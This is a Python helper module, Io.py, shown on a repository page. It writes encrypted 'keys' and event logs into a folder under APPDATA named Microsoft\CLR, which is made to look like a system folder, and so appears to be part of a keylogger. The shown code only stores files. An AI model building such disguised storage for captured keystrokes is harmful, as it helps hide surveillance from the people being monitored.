-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathIo.py
47 lines (38 loc) · 1.11 KB
/
Io.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
'''
Input/Output Module contains shared function related to file handling
'''
import os
import Helper,Encrypt
def getThePath(delimiter=False):
# get the path
path = os.getenv('APPDATA')
newpath = os.path.join(path,'Microsoft','CLR')
return newpath
def logEvent(eventDetails):
# log event in applog.txt
path = getThePath()
makeDirRev(path)
with open(os.path.join(path,'applog.txt'),'a') as f:
f.write(eventDetails+'\n')
def makeDirRev(path):
# make the provided directory (including the parent directories)
os.makedirs(path,exist_ok=True)
def check_file(path):
# check if the path provided is a file path
return os.path.isfile(path)
def check_dir(path):
# check if the path provided is a file path
return os.path.isdir(path)
def saveKeys(data):
# save the keys after encrypting them
try:
path = getThePath()
makeDirRev(path)
name = Helper.getDateTimeString('_')
with open(os.path.join(path,name+'.txt'),'w') as f:
encrypted = Encrypt.encrypt(data)
f.write(encrypted+'\n')
return (name,path)
except Exception:
logEvent(f"{Helper.getDateTimeString()}: <Problem in Io.SaveKeys>")
return(1,1)